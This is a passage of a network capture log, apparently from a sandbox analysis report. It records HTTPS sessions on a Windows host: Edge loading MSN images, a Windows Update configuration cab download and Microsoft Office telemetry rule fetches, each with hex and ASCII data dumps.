2024-11-25 02:40:10 UTC	8192	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff c0 00 11 08 00 a8 00 a8 03 01 11 00 02 11 01 03 11 01 ff c4 01 a2 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa 01 00 03 01 Data Ascii: JFIF``}!1AQa"q2#BR$3br%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.8	49847	104.117.182.32	443	7540	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 02:40:11 UTC	505	OUT	GET /tenant/amp/entityid/AAtK5aP?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 02:40:12 UTC	548	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AAtK5aP?w=168&h=168&q=60&m=6&f=jpg&u=t Last-Modified: Tue, 29 Oct 2024 19:03:22 GMT X-Source-Length: 95457 X-Datacenter: westus X-ActivityId: 155cd87c-435f-4d80-bfaf-3f0e9ec39163 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 8192 Cache-Control: public, max-age=102547 Expires: Tue, 26 Nov 2024 07:09:19 GMT Date: Mon, 25 Nov 2024 02:40:12 GMT Connection: close
2024-11-25 02:40:12 UTC	8192	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff c0 00 11 08 00 a8 00 a8 03 01 11 00 02 11 01 03 11 01 ff c4 01 a2 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa 01 00 03 01 Data Ascii: JFIF``}!1AQa"q2#BR$3br%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.8	49848	104.117.182.32	443	7540	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 02:40:13 UTC	506	OUT	GET /tenant/amp/entityid/BB18CMuA?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 02:40:14 UTC	551	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB18CMuA?w=168&h=168&q=60&m=6&f=jpg&u=t Last-Modified: Fri, 15 Nov 2024 06:37:05 GMT X-Source-Length: 1437868 X-Datacenter: westus X-ActivityId: 35f8cf50-b6a5-4c74-ae05-da13e654185f Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 4096 Cache-Control: public, max-age=359823 Expires: Fri, 29 Nov 2024 06:37:16 GMT Date: Mon, 25 Nov 2024 02:40:13 GMT Connection: close
2024-11-25 02:40:14 UTC	4096	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff c0 00 11 08 00 a8 00 a8 03 01 11 00 02 11 01 03 11 01 ff c4 01 a2 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa 01 00 03 01 Data Ascii: JFIF``}!1AQa"q2#BR$3br%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.8	49849	172.202.163.200	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 02:40:18 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=S7xBxEvNluer2YN&MD=oSPPNWbl HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-25 02:40:19 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" MS-CorrelationId: 0e3ec016-7d71-4cbf-8314-7c21665b0146 MS-RequestId: 6e97a506-704c-4730-b266-f3316899836a MS-CV: o8XQ+i+gBUmiyhMk.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Mon, 25 Nov 2024 02:40:18 GMT Connection: close Content-Length: 30005
2024-11-25 02:40:19 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
2024-11-25 02:40:19 UTC	14181	IN	Data Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f Data Ascii: UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.8	49850	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 02:40:31 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 02:40:32 UTC	492	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 02:40:32 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Sat, 23 Nov 2024 12:15:37 GMT ETag: "0x8DD0BB889D4282C" x-ms-request-id: c3062018-b01e-003e-79df-3d8e41000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T024032Z-178bfbc474bwh9gmhC1NYCy3rs00000006u000000000n574 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-25 02:40:32 UTC	15892	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-11-25 02:40:32 UTC	16384	IN	Data Raw: 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 Data Ascii: <V V="400" T="I32" /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R> <V
2024-11-25 02:40:32 UTC	16384	IN	Data Raw: 32 30 76 33 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 Data Ascii: 20v3+<?xml version="1.0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="T
2024-11-25 02:40:32 UTC	16384	IN	Data Raw: 20 54 3d 22 32 22 20 46 3d 22 41 76 65 72 61 67 65 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d Data Ascii: T="2" F="Average" /> </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F=
2024-11-25 02:40:32 UTC	16384	IN	Data Raw: 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a Data Ascii: alse"> <C> <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C>
2024-11-25 02:40:32 UTC	16384	IN	Data Raw: 20 49 3d 22 31 39 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 Data Ascii: I="19" O="false" N="Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="Cleanup
2024-11-25 02:40:32 UTC	16384	IN	Data Raw: 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 Data Ascii: </L> <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R>
2024-11-25 02:40:32 UTC	16384	IN	Data Raw: 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 Data Ascii: </O> </F> </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C>
2024-11-25 02:40:32 UTC	16384	IN	Data Raw: 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: O T="AND"> <L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" />
2024-11-25 02:40:32 UTC	16384	IN	Data Raw: 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 Data Ascii: <S T="2" F="HttpStatus" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.8	49853	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 02:40:34 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 02:40:35 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 02:40:34 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: 3ae325a6-f01e-001f-6051-3c5dc8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T024034Z-15b8b599d885v8r9hC1TEB104g000000058000000000p2s6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 02:40:35 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.8	49854	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 02:40:34 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
